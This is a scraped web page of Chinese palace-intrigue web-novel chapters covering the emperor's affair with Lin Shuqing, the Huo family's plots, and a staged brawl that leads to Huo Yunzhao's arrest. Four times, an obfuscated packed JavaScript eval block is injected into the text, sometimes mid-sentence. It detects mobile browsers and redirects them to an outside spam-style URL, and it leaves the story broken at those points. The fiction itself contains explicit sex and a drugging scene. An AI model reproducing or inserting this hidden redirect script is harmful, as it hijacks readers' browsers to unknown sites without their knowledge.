这一日,三兄弟夜饮到天明,第二天满京城都在传沈家大爷易怒掀了祠堂的祖宗牌位,结果沈家大房被除族,净身出户。 消息传到了宫中,靖安帝正在和司徒珩下棋,撩起眼皮儿:“沈家,这是要留后手了?” 第49章 老夫聊发少年狂! 司徒珩落下一子,嘴角一抹冷笑:“皇上,您觉得沈景川是个什么样的人?” “不堪大用。”靖安帝从小就认识沈景川,沈景川小时候畏畏缩缩的,人也笨得厉害,至于从商,靖安帝觉得也就是生在沈家,若是换做寻常百姓人家,糊口都难。 司徒珩轻声:“沈家只怕都没什么留后手的心思,倒是沈清欢是个不容小觑的,这样的女子放在臣弟眼皮子底下盯着,沈家便还是原来的沈家。” 提到沈清欢,靖安帝是不喜的。 每每想到她在朝堂上,看似恭敬实则挑衅的样子,就憎恶! “也是沈家命不该绝。”司徒珩说。 靖安帝点头,按理说那封书信藏得隐蔽,都能被沈清欢发现,除了命不该绝再无其他理由了。 只不过错失良机,以后想要再找机会就难了。 “皇上,霍家可说何时离京了?”司徒珩问。 靖安帝抬眸打量着司徒珩:“你很关心霍家?” “皇上,霍家应立刻离京,雁门关和漠北两地都是大夏安危之咽喉,西凉蠢蠢欲动,霍家若迟迟不归,只怕不妥当。”司徒珩说。 靖安帝这才想起来霍静纭前晚就入宫了,抬起手压了压额角:“朝中无大将啊,你要勤学苦练,到时候能独挡一面的时候,就无需受制于霍家了。” 司徒珩起身恭敬的行礼:“是。” 说是到时候,其实是靖安帝不放心司徒珩。 这是他唯一的皇弟,当然了,这个皇弟并不会对他造成任何威胁,除了太后把他当先皇遗腹子外,没有任何外缘助力的他,用得好比任何人都放心。 从御书房出来,司徒珩坐在马车里,单手撑着额角闭目养神。 靖安帝倒也没闲着,起身往云烟阁来。 云烟阁里静悄悄的,皇上没惊动任何人,止住了唱和太监传讯,迈步进来的时候看到院子里跪着一排人,微微蹙眉。 霍静纭好大的脾气?进门就给下人立规矩? 楚嬷嬷看到了皇上,赶紧低声提醒霍静纭:“娘娘,皇上来了。” 霍静纭低着头转过身冲着皇上的防线跪着,两只手交叠压在地上,俯首磕头:“臣妾给皇上请安。” “平身。”靖安帝见霍静纭也跪着,心里顿时舒坦了,走过来伸出手搀扶着霍静纭起身,微微蹙眉:“这是怎么了?” 霍静纭低着头:“是臣妾不懂规矩。” “嗯?”靖安帝拍了拍她的手:“朕政务繁忙,冷落了你。” 霍静纭轻轻摇头:“皇上为国操劳,臣妾心里欢喜,并没有冷落臣妾。” 懂事就好。 靖安帝牵着霍静纭的手进屋,吩咐所有人都起身。 落座后,靖安帝打量着霍静纭,显然是哭过了,妆虽没花但眼睛肿了,说:“按照民间说法,明日是三朝回门,朕虽不能同往,但爱妃可以回去。” 霍静纭抬头,眼里又惊又喜,起身就要谢恩。 靖安帝摆手:“你还年幼,在这里随意点儿就好。” “臣妾遵命。”霍静纭亲自给靖安帝斟茶,她已经两天没见到自己的贴身丫环了,昨儿去给太后请安还没事,今儿去给皇后请安的时候去晚了,皇后罚她跪三个时辰,也真是巧得很,眼看着到三个时辰了,皇上就来了。 靖安帝坐在一旁看书,霍静纭小心翼翼的伺候在旁边,她虽没听说皇上贪恋女色,可自己正青春年少的时候,皇上竟是一点儿心思也没有,她惴惴不安。 只是坐了一会儿,皇上起身走了,也没说什么话,霍静纭知道自己至少短时间内在宫里会是瞎子和聋子,只能暂时忍耐。 傍晚时分,楚嬷嬷满脸喜色的进门:“恭喜娘娘,皇上让这边点灯。” 霍静纭心里松了口气,又免不得紧张,她未经人事,只怕伺候不好,取了一把金瓜子塞到楚嬷嬷的手里:“嬷嬷,我有些心里怕。” 楚嬷嬷大大方方的收了金瓜子,笑着说:“娘娘不怕,只需记得宫里是个讲规矩的地方就好,皇上更是重规矩的人。” 霍静纭记在心里,沐浴熏香,因霍静纭是刚入宫,皇上亲自来了云烟阁。 楚嬷嬷带着人伺候在二门外。 “无趣!”靖安帝起身,吩咐:“更衣。” 霍静纭看着自己还没脱完的衣服,如遭雷击! 无趣? 怎么就无趣了? 做了什么啊?就无趣了? 楚嬷嬷带着众人跪下不敢吭声,等皇上离开后,她急匆匆的进来,看霍静纭捂着脸轻声抽噎,一时间都不知道说了什么才好了,这头一遭伺候皇上就成了这样,以后还想皇上能宠幸她?真真是让人怀疑霍家后宅的女眷到底长不长脑子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555268|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靖安帝出现在卫国公府的时候,林舒清赶紧过来跪在地上:“臣妾叩谢皇恩。” “起来吧。”靖安帝伸出手拉着她起身,那如兰似麝的味道令人心旷神怡,手臂勾着她到怀里,心情都好了很多。 林舒清蛇一般缠上来,手指灵活的解开了靖安帝腰上的革带,轻笑着望着靖安帝:“臣妾可不是只嘴上说谢恩呢。” “那要怎么谢?”靖安帝兴致被勾起来。 林舒清推着靖安帝坐在床榻上,她跪坐在脚踏上,抬头含情脉脉的望了一眼靖安帝,片刻,靖安帝受不住的喟叹出声,只觉得登仙也不过如此。 当林舒清跨坐在他身上的时候,靖安帝突然想起来一句诗:老夫聊发少年狂! 翌日。 靖安帝到底没能去早朝,甚至都没离开卫国公府,看着累极睡在怀里的林舒清,只觉得自己前半生白活了,什么后宫佳丽三千,哪里比得上怀里的尤物! 大太监林有德蹲在外面,整个人都麻了。 他虽是太监,可跟在皇上身边半生,说一句阅女无数也不过分吧?可就没见过卫国公嫡女这般花样儿多的,如今可倒好了,昨儿赏了个夫人的位份,今儿这般折腾下来,龙心大悦之下,赏什么? 林舒清约摸着差不多了,佯装迷糊的往靖安帝怀里钻,靖安帝心里顿时又一阵火热,简直像回到了青春年少时候那般,像是有用不完的力气似的。 “小姐,夫人、夫人过来了。”丫环两腿打颤儿:“到门口了。” 林舒清像是被针扎了似的,猛地睁开眼睛,脸色苍白的不知道往哪里躲藏才好。 这幅样子硬是把靖安帝逗笑了。 “皇、皇上,快藏起来吧。”林舒清听到靖安帝的笑声,赶紧过来拉着他,可床上就这么大的地方,往哪里藏?一瞬急得眼圈泛红,都要哭了。 靖安帝微微偏头打量着林舒清,还以为她天不怕地不怕呢,原来也是怕被人发现的,这感觉真是新鲜的厉害。 “清儿。”卫国公夫人已经到了门外。 林舒清抬头看着靖安帝:“皇上,臣妾这三尺白绫是逃不掉了。” “你可以会让她进来,朕还护不住你了?”靖安帝勾着林舒清的下巴,把人直接拉过来,翻身就上去了。 林舒清起身勾着靖安帝的脖子,哭出声来…… 第50章 他做初一,你做十五啊 喜她浪荡,怕她浪荡。 靖安帝见她吓成这副模样,反倒心里踏实了,也笃定唯有自己见识过她这般样子。 停下了动作,柔声:“别怕。” “母亲会杀了我。”林舒清抬头看着靖安帝,泪眼朦胧:“臣妾就伺候不了皇上了。” 靖安帝笑问:“不怕死?怕见不到朕?” “皇上让清儿知道什么是男欢女爱,而清儿得到了天下第一的男子,死是不怕的,怕这一切都是做梦,梦醒了不见了皇上,那清儿活着还有什么意思呢?”林舒清红了脸颊,小声说。 靖安帝沉声:“林有德。” “是。”林有德打开了门,大马金刀的坐在椅子上,目光森然的看着门外的卫国公夫人。 卫国公夫人猛地看到林有德没认出来,险些破口大骂,幸好及时止住了。 “还不退下!”林有德冷声。 卫国公夫人浑身一个激灵,退后急急地离开。 小贱蹄子怎么勾搭上林有德的? 不对,林有德在这里,屋子里的男人只能是当今皇上! 我的老天爷啊,卫国公夫人终于知道是谁对自己宝贝儿子下了如此死手,皇上的心还狠毒啊。 一肚子官司的卫国公夫人认定了靖安帝就是残害林墨轩,气死林墨洲,让卫国公府在京城里抬不起头的罪魁祸首,一路跑去找卫国公林承恩。 林承恩打从除了林墨轩的事,借酒浇愁,整日浑浑噩噩的。 卫国公夫人进来险些没被熏吐了,过去一把抓住林承恩的衣领:“我知道是谁害我们的轩儿了。” “轩儿,轩儿。”林承恩四处寻找。 卫国公夫人上去就是两个大嘴巴子,厉声:“你清醒点儿!” 林承恩眯缝着眼睛,突然大笑出声:“蔡宝珠!蔡宝珠啊,你完了!你把这个家彻底败坏了!” 卫国公夫人看旁边的冷茶,抓过来茶壶把林承恩淋了个满脸是水:“是皇上害了轩儿。” “什么?”林承恩酒都瞎醒了大半,不敢相信的看着卫国公夫人。 卫国公夫人低声:“那小贱蹄子不知道怎么勾搭上了皇上,这会儿皇上还在她屋子里,两个人没干好事!你说,不是他害了轩儿还能是谁?” 林承恩呆呆地,脑袋里一片空白。 “那小贱蹄子是报仇,我算是看出来了,留不得了。”卫国公夫人恨不得把林舒清**万段,她惊才绝艳的儿子就这么毁了,她个贱蹄子就不配活着。 林承恩抹了一把脸:“稍安勿躁,稍安勿躁,我们胳膊拧不过大腿,若是弄**她,我们只怕都活不成。” 卫国公夫人满脑子都是弄死林舒清,听到这话也如遭雷击一般傻眼了,是啊,皇上一个不高兴,全都要死啊。 殊不知,靖安帝此时是再也没力气了,倒在床上还手不老实:“你还怕吗?” 林舒清轻轻地摇头。 “难道朕为你撑腰还不开心?”靖安帝偏头看林舒清。 林舒清柔声:“父亲若是知道了,怕活不成了,长兄被人害的那么惨,如今生不如死,二哥也羞愤送了命,如今他后继无人。” 靖安帝冷嗤:“林墨轩不冤枉,倒是林墨洲可惜了,若不然朕赐一些美人儿给卫国公,让他努努力,再多生几个孩子怎么样?” “皇上。”林舒清满脸无辜的看着靖安帝:“还能这样吗?母亲善妒啊,那、那还不鸡犬不宁。” “若她敢在你跟前乱蹦,朕顾着她是你母亲,若不然善妒可休。”靖安帝拉着林舒清到怀里:“她对你,并非慈母,朕知道。” 林舒清贴在靖安帝怀里:“以前是难过的,现在有皇上疼清儿,清儿就不难过了,比起来,天下人谁能比清儿更有福气呢。” 靖安帝是下半晌才离开的。 林有德对这位如意夫人除了钦佩就剩恭敬了,这女人的心机城府太渗人,宫里头那些个拧在一起,也怕不是对手。 靖安帝回到御书房,让林有德挑选了十个美人儿直接送去了卫国公府,传口谕,让卫国公林承恩开枝散叶,留存血脉。 林舒清泡在药汤里,身体越发白皙细腻,她突然觉得活着真挺好的,特别是沈三爷,简直是自己的活菩萨,不管是这药浴的奇效,还是香料的特别,还有每日吃的那药,简直让自己吐气如兰,而她,凭着这些得了靖安帝的欢心,活得从没有过的恣意,真好! 卫国公夫人眼睛血红的闯进来,直接撩了净房的帘子,疯了一般扑向木桶里的林舒清:“我杀了你!你就是个丧门星!” “蔡宝珠。”林舒清手里的**明晃晃的,就要戳进蔡宝珠的咽喉了:“杀了你,让我父续弦,再生十个八个孩子,卫国公府什么都没不会改变,但你**。” 卫国公夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555269|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人踉跄的退后,死死地盯着林舒清。 林舒清舒服的靠在桶壁上,饶有兴致的打量着卫国公夫人,突然心情大好的笑出声来:“徐娘半老,怎抵得过那些精挑细选的美人儿,我父亲真是艳福不浅。” “你到底想要怎么样?”卫国公夫人知道林舒清想要杀了自己,并且很容易,有皇上护着她,杀个把人算什么事儿?可自己若**,轩儿就真的完了。 林舒清笑吟吟的看着卫国公夫人:“蔡宝珠,以前你是不是和现在我的一样,我无数次求你救我,你非打即骂,而我求生不能求死不得,现在,好好感受我曾经的绝望吧。” 卫国公夫人整个人像是被抽去了精气神儿一般。 “对了,你其实也可以,父亲做初一,你做十五啊,到时候咱们这院子啊,比明月楼都热闹,哈哈哈……” 在林舒清畅快的笑声里,卫国公夫人失魂落魄的逃走了。 霍府。 霍静纭回门的时候,正是靖安帝赏赐美人儿往卫国公府的当口。 霍家上下恭迎在门口,霍静纭看到娘家人,心里顿时委屈的忍不住,眼圈红红的她被簇拥着进了堂屋。 霍夫人拉着女儿的手:“如何?” “到现在都没侍寝,昨夜本可以,但皇上竟只看了我两眼就说了句无趣,拂袖而去了。”霍静纭低声:“鸿雁也不知道哪里去了,我在宫里不自由。” 霍夫人眉头紧锁:“宫外头倒热闹,卫国公府未出阁的小姐被封了个如意夫人,这才隔一天,皇上赏卫国公十个美人儿。” 霍静纭想到借着添妆来过的林舒清和沈清欢,缓缓地闭上了眼睛,她知道自己这次遇到了对手。 “你在宫里务必万分小心。”霍夫人轻声:“你祖父和你父亲正在安排人手帮衬你。” 霍静纭点了点头,如今她还有什么法子?既然入了宫,那就只有一条路可走。 “沈家呢?”霍静纭问。 霍夫人冷笑:“闹的鸡飞狗跳,大房把祠堂的祖宗牌位都掀了。” 霍静纭看了眼外面:“祖父和父亲怎么没来?” “写了书信,他们不能露面,咱们霍家被盯上了。”霍夫人从袖袋里取出来书信塞到霍静纭手里。 霍静纭打开祖父的书信,看到一半的时候,笑了,果然这个家里还是祖父最厉害! 林舒清,你等着! 第51章 两个人凑成一家人,可怎么得了啊? 霍静纭都没能在霍府用膳,急匆匆的回宫,怕耽误了回去的时辰再被皇后找茬责罚。 一路上脑子里都在想林舒清。 添妆那日见到林舒清的时候没什么感觉,跟沈清欢的明艳比起来,林舒清就显得平平无奇了。 可祖父查出来的事绝对是真的,林舒清用了手段迷惑皇上,偏偏皇上自己不知道,还以为捡到了宝。 这世上哪有人能引众蝶近身飞舞?大族贵女怎么会不顾礼数与人私通,哪怕是皇上也不能。 林墨轩的瘾症是真的,卫国公府透着诡异,因卫国公府二公子是死在林舒清的房里的。 还有最重要的一点,林墨轩出事当天,林舒清和沈清欢在一起,他们去了龙首山进香,而随后霍家去查,龙首山的望月庵一把大火烧了个精光,而司徒珩在龙首山的护国寺里逗留多日,他回到京城的时候沈清欢也回来了,随后就是皇上给二人赐婚。 这里面到底有什么是霍家都查不出来了? 霍静纭揉着额角,百思不得其解,但沈清欢和林舒清的关系不简单是绝对的。 用林舒清对付自己? 霍静纭觉得不太可能,毕竟自己并没有对沈家出手,也没有对沈清欢露出敌意,所以林舒清只是为了爬龙床又不入宫,有意思。 这么一想,倒也有道理,卫国公府没男丁了,只要林舒清怀了龙种,以后作为卫国公的承袭者,皇上是会愿意的,谁不知道就算卫国公交出了虎符兵权,可军中三成都是林家军呢。 霍静纭暗暗发誓,绝对不能让林舒清怀龙种! 沈家。 沈清欢可没有这么多烦心事,反倒无聊的厉害,作为待嫁的她什么都不用操心,除了要学那些账目。 八月正是秋高气爽的时候,但沈清欢无心出去闲逛,她怕再给家里人添麻烦,所以老老实实在家里学账目,学持家。 杜仲带着零嘴儿来找沈清欢。 沈清欢可算有个好玩儿的事,拉着杜仲下棋。 杜仲哪里是她的对手,哭唧唧的耍赖,惹得沈清欢笑到肚子疼,捏着杜仲的小脸让杜仲再拜个棋师父。 沈清樾和司徒珩进来的时候,就听到了沈清欢在欺负杜仲,两个人相视一眼都无奈的摇了摇头。 “我和你说个大事。”杜仲求饶。 沈清欢收回手,上下打量着杜仲:“说,什么大事?” “皇上给卫国公送去了十个美人儿。”杜仲说:“让卫国公接续香火呢。” 沈清欢眨了眨眼睛,噗嗤笑出声来:“这算大事?” “本来不算,但是师父说卫国公当真的,还到处找师父呢。”杜仲有些得意:“师父可是京城里最厉害的郎中。” 沈清欢挑眉:“我三叔不厉害吗?我未来的三婶也厉害的吓人,以后别说这样的话,让外人听到笑话你没见识,你可是我沈家养大的孩子,那不是说沈家都没见识吗?” 杜仲目瞪口呆的看着沈清欢,他觉得四小姐说的不对,可是又不知道哪里不对。 “欺负杜仲倒是有能耐。”沈清樾迈步进来。 沈清欢立刻跑过来:“大哥,我要开个药局。” 沈清樾蹙眉:“想什么就是什么?开药局作甚?” “为沈家多攒功德,到时候让大哥能找个称心如意的嫂嫂回来,让祖父和祖母长命百岁,让爹娘……”沈清欢摇头晃脑正说着,看到司徒珩强忍着憋笑的样子,后面的话就都咽回去了。 沈清樾叹气,对司徒珩说:“你啊,反正婚后多自己操心吧。” “好。”司徒珩笑着点头,他倒是不介意把沈清欢养成孩子那般天真的性子,只是沈家人到底是被沈清欢表现出来的样子骗了。 沈清欢翻了个白眼儿:“开个药局。” “好,沈家药局如何?”司徒珩说。 沈清樾扶额,这两个人凑到一起,真是想什么就是什么! 沈清欢打量着司徒珩。 司徒珩一本正经的说:“行善积德,福荫沈家,阿灼也是沈家人。” “也是,有道理,那去做吧。”沈清欢说。 司徒珩连一口茶都没喝,起身走了。 沈清樾看沈清欢:“你就这么使唤他?” “嗯。”沈清欢点头:“不然呢?” “你可知道人心易变,最不可信的就是卿卿我我。”沈清樾叹了口气:“阿灼,你憋着一股劲儿,是等着嫁过去再大展拳脚吗?” 沈清欢嘴角一抽:“大哥,到底要怎么样嘛。” “装,你跟长辈怎么装都无妨,难道跟我也这般没有一句实话吗?”沈清樾审视着沈清欢。 沈清欢噗嗤笑了:“大哥,我确实没有用武之地,三叔和你一明一暗,我乐得轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555270|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松自在,我都要嫁人了呢,大哥难道不疼我?让我过几天轻松自在的日子?” 沈清樾被气得不知道说什么才好了。 沈清欢打蛇顺棍:“大哥,你要争气,你要越来越厉害,你要护着我,你看到了吧,我反正就这样的心性了,你要是护不住我,我咋办呢?” “行行行。”沈清樾无奈的直叹气,可心里却踏实了不少,他认为小妹说得对,只要自己足够强大,沈家屹立不倒,那小妹就永远可以这么恣意的活着。 京城无大事,直到安王府下聘这一日。 沈家洒扫门庭,大门敞开。 太后的辇驾徐徐而来,身后是骑着高头大马的司徒珩,在后面是看不到尾的下聘队伍。 京城人几乎倾巢而出,都来看热闹。 沈家满门都到门口跪迎太后,沈清欢一身水蓝色衣裙立在沈夫人身旁,颇有几分出尘的意味。 闵太后拉着沈清欢的手,笑着说:“阿灼模样好,红色最衬得起阿灼的气度,回头让珩儿多准备些红色的衣裙,爱家那边不少料子,回头都送过去。” “您这么疼我,回头我就被宠坏了,欺负王爷咋办?”沈清欢小声说。 闵太后笑得眼睛都眯起来了:“放心吧,哀家可不管你们府里的事,只要不打得他到爱家跟前哭嚎就成。” 这话逗得所有人都笑了,一行人往院子里去。 沈家院子可不小,但就算院子大也没够用,外面都堆到了街上,如此大张旗鼓的下聘,京城里的人还是头一遭见到。 坊间津津乐道,免不得提起霍家,霍家小郎君负荆请罪好像是昨儿的事,没想到安王下聘在今天,真不知道霍家该如何自处,毕竟安王和沈四小姐都在京城长大,保不齐啊,早就彼此爱慕了呢。 沈家书房里,沈良辅端详着司徒珩:“你这么大阵仗,不止是抬举阿灼吧?” “祖父,要留霍家在京一段日子。”司徒珩恭敬的说:“所以,今儿下聘就是下聘,但明儿我要去找霍云昭打架。” 沈良辅脸都要抽抽成一团了:“那位的意思?” “是我的想法,那位等着霍家离京,若霍家迟迟不离京的话……”司徒珩没往下说。 沈良辅心里头直叹气,阿灼是个扮猪吃老虎的,一个就够呛了,这又来了一个,回头两个人凑成一家人,可怎么得了啊? 第52章 霍云昭,杀我 司徒珩下聘,轰动京城。 闺门中的女子一个个都恨不得手捧心做痛苦状,想到沈清欢得了如此如意郎君,又都嫉妒的五官扭曲。 明月楼。 司徒珩摆下席面,请世家子弟齐聚。 霍云昭赫然在被邀请之列。 唯独没有沈清樾。 京城谁不知道明月楼是出了名的销金窟?司徒珩如此大张旗鼓的在这里摆席面,许多人都暗暗揣测其用意,更多人认为这就是冲着霍云昭去的,毕竟霍家想要皇上赐婚的事闹得沸沸扬扬,甚至霍家就是为了这门亲事才千里迢迢从雁门关回京的。 霍云昭来到明月楼,司徒珩早就跟世家子们到了。 众人看着进来的霍云昭,一个个都笑嘻嘻的打招呼,言语之间颇有些意味深长。 司徒珩斜着身子靠在椅子上,吩咐伺候的老鸨:“给霍小郎君准备两个好看的姑娘。” “我不需要。”霍云昭冷声拒绝。 司徒珩笑着端起酒杯送到唇边抿了口:“怎么?丧妻之痛,让霍小郎君如此消沉吗?” “你别胡说。”霍云昭坐在司徒珩对面:“王爷得偿所愿,我祝你们白头偕老。” 司徒珩举起酒杯,笑吟吟的看着霍云昭:“承让。” 承让? 承让个屁! 霍云昭明知道司徒珩就是来羞辱自己的,可不来就是不给安王面子,不给安王面子就是不给天家面子,他深吸一口气压下心里的怒气,笑着回道:“沈四小姐早就芳心暗许,倒是我痴情错付了。” “哎哟哟,说得跟真事似的,你是不是痴情错付没看出来,倒是**把命都搭上了。”一身红衣的镇国公世子闵景之笑着说:“这世上就最不缺痴男怨女,但霍云昭显然不在此列。” “景之言之有理,我倒觉得沈四小姐慧眼识珠,能得如此良缘可是不容易。”卫国公世子王轩说。 司徒珩微微挑眉:“倒也可以理解,听说白向晚本不想死,还一门心思等着完婚呢,奈何珠胎暗结,生生被逼的没有活路了。” “嚯,一尸两命?”崔正堂颇有些怜悯的看霍云昭:“霍兄,节哀啊。” 霍云昭一拍桌子站起来了。 司徒珩微微扬起下巴看他:“为何发怒?大家说的都是实话啊。” “司徒珩,你别得了便宜还卖乖,我的事不需要你们指指点点。”霍云昭一甩袖子:“宴无好宴,告辞。” 司徒珩似笑非笑的看着霍云昭往门口去,早就候在门口的两个明艳的女子立刻进门来,一左一右抱住了霍云昭的胳膊,娇滴滴的哄着。 霍云昭暗中用了力气,可根本甩不开这两个女子,几乎是被拖着回到了座位上,抬头警惕的看着司徒珩。 司徒珩没搭理他,招呼众人喝酒。 旁边进来两个女子,一个弹琴,一个唱曲儿。 不一会儿又进来十几个花枝招展的姑娘,她们就在对面的台子上翩翩起舞。 霍云昭走不了,可也不想应酬,一声不吭的坐着,等寻个机会好脱身,他知道司徒珩是想要为沈清欢出气,或者说是为了讨美人儿欢心,跑来跟自己找麻烦了。 若他沉不住气,就没有办法破今天的局,尽管他打心底瞧不起司徒珩,一个来历不明的皇子,太后倒是仁慈给养大了,私下里谁不说他是个野种! 如今更是跟狗一样整日里在昏君面前伏低做小,这种人能有什么出息?沈家也是瞎了眼,还巴巴的把沈清欢嫁过去,若让沈清欢嫁到霍家,以霍家手里的兵权和沈家在朝廷的影响,司徒家的天下就到头了! 偏偏事与愿违。 “霍小郎君英勇神武,是人人都爱慕的小将军呢,来来来,奴敬您一杯。”女子酒杯送到了霍云昭的嘴边。 霍云昭抬手推开,一阵暗香扑鼻,让他不由得打量了一眼红衣女子。 红衣女子一双桃花眼盛满笑意,娇嗔:“霍小郎君怎么如此不怜香惜玉呢?奴可不是随便就给人敬酒的。” “我不善饮。”霍云昭说出口后,心里都纳闷,自己何须跟她解释? 红衣女子趁机依偎到霍云昭怀里,酒杯再送到霍云昭嘴边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555271|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“奴的酒,不醉人。” 霍云昭沉下心来,推开红衣女子,只觉得头都晕晕的,抬头看司徒珩:“你竟如此下作,想要让我丢人现眼吗?” “霍云昭,你可要慎言,我请你来是为了冰释前嫌,虽然我和阿灼被赐婚了,但你爱慕阿灼是人之常情,我不跟你计较,怎么进门到现在,你就跟炸毛的狗似的要咬人呢?”司徒珩冷嗤:“愿意留就留,不愿意留就滚!” 霍云昭起身往外走,这时候那绿衣女子蛇一般缠上来:“霍小郎君,来都来了,急什么呢?” 霍云昭这次分辨出来了,那香味儿是曼陀罗,情急之下捏住绿衣女子的手腕,直接把人甩了出去,那绿衣女子撞碎了黄花梨的屏风,惨叫一声摔在地上。 “不好啦,**啦!”跳舞的姑娘里有人尖叫一声,顿时乱作一团。 司徒珩一纵身拦住霍云昭的去路:“你草菅人命!” “滚开!”霍云昭眼底泛红:“司徒珩,你就是个小人!” “本王还没被人如此喝骂过。”司徒珩厉声吩咐:“去报官!” 霍云昭急于脱身,抬起手去推司徒珩,司徒珩断喝一声:“还敢跟本王动手!” 话音未落,直接一拳砸在了霍云昭的面门上。 霍云昭哪里会跟司徒珩动手?更没想到司徒珩会跟他动手,这一拳打的他眼前发黑,下意识的反击,两个人顿时打起来了。 在做的世家子都退到了一边,他们眼看着事情闹大了,哪里还敢往前凑,镇国公世子闵景之吩咐亲随赶紧去叫人来,明显安王不是霍云昭的对手。 沈清樾率领金吾卫到明月楼楼下的时候,就听到一声惊呼,抬头见一个人从二楼砸了下来,赶紧跑去想要救人,没来得及,等人落地就在他脚前,定睛一看神色大变:“司徒珩!” “霍云昭,杀我。”司徒珩说完这一句,口吐鲜血昏死过去。 沈清樾抱起来司徒珩就跑,这会儿只想着救人。 御书房里。 靖安帝拍案而起:“来人!去霍府捉拿霍云昭!” 第53章 我可不能做寡妇 与此同时,霍云昭逃回霍家,冲到书房跪在祖父面前:“祖父,我命休矣。” “怎么了?”霍北恒惊得站了起来。 霍云昭从头至尾学了一遍,叩头在地:“祖父,速速带着霍家人离开京城,唯有回去雁门关方能安全,不要管云昭了,是死是活听天由命。” 霍北恒跌坐在椅子上,摇头:“我们回不去雁门关了。” 话音落下,沈清樾率领金吾卫冲了进来。 “霍老将军,末将奉皇上口谕,捉拿霍云昭。”沈清樾拱手一礼,语气铿锵。 霍北恒点了点头:“劳烦沈小将军,请勿伤云昭筋骨。” “老将军放心。”沈清樾容色肃穆,一挥手,两个金吾卫上前捉拿霍云昭,霍云昭垂头丧气没有多说一个字。 沈清樾冲霍北恒一抱拳,转身离开。 御书房里,靖安帝怒容满面,看着跪在地上的霍云昭。 “为何伤安王?意图打杀?”靖安帝问。 五花大绑的霍云昭趴在地上:“请皇上赐末将一死。” 求死?靖安帝冷声:“是在埋怨朕?” “末将不敢。”霍云昭知道辩驳根本无用,若是自己死在这里能保霍家安全离开京城,这已经是最好的结果了,他难道说是司徒珩做局吗? 靖安帝打量着霍云昭,知道他求死是为了保霍家,这份心思只能让人更忌惮,霍北恒的孙子有七个,但唯独把霍云昭带在身边,可见对他十分看重,若是霍云昭死在京城,霍北恒回到雁门关,那就是心腹大患! 果然司徒珩说的在理儿,霍家所求甚大,求娶沈清欢目的已经昭然若揭了,霍北恒这个老狐狸是看准了自己对沈家有了连根拔起的心思,才会趁机拉拢沈良辅。 幸好沈良辅和沈家还算忠心,否则赐婚两家后,大夏江山不稳。 “皇上,霍老将军和霍将军跪在宫门外请罪。”林有德小声在皇上耳边说。 靖安帝微微的眯起眼睛,问:“安王如今可苏醒了?” “回皇上,太医那边刚送来消息,安王殿下昏迷不醒,若熬不过今晚,就……”林有德没有往下说。 霍云昭如遭雷击,司徒珩曾去过雁门关,曾策马扬鞭,也曾弯弓射雕,怎么才几年不见,身体竟如此虚弱了? 靖安帝点了点头:“宣霍北恒、霍崮觐见。” 林有德领旨退下。 “太后娘娘驾到。”唱和太监出声。 靖安帝抬起手压了压额角,自己的母后是真疼司徒珩,若非自己年长许多,知道司徒珩的来历,都会怀疑司徒珩是母后亲生的。 起身走到门口,伸出手扶着闵太后:“母后,您怎么来了?” “哀家不来看看霍小郎,怎么也不信你九弟能被打得就剩一口气了。”闵太后阴沉着一张脸进门,坐在椅子上打量着霍云昭。 霍云昭如芒在背,艰难的转过身冲太后方向磕头:“太后容禀,是末将酒后无德,一时没了轻重。” “你的意思是安王徒有其表,根本不是你的对手?”闵太后冷冷的问。 霍云昭赶紧摇头:“不是,不是,是安王只当我们是闹着玩儿,没有使出全力。” “你知道他没使出全力,还没个轻重,是动了杀心才会如此,为何?为了争风吃醋吗?”闵太后拿起帕子压了压眼角:“他还有不到一个月就完婚了啊,可疼死哀家了。” 一旁的靖安帝知道母后是不答应轻饶,如今倒是多了个帮手。 霍北恒和霍崮进门跪倒就磕头。 “老臣治家不严啊。” “臣教子无方啊。” 父子俩痛哭流涕,痛心疾首的模样,让靖安帝觉得心烦。 这个时候露面还不是先要保霍云昭? “老将军,你可知道哀家的小儿子如今是何种情况?”闵太后出声。 霍北恒给太后跪下磕头在地:“老臣还不知道。” 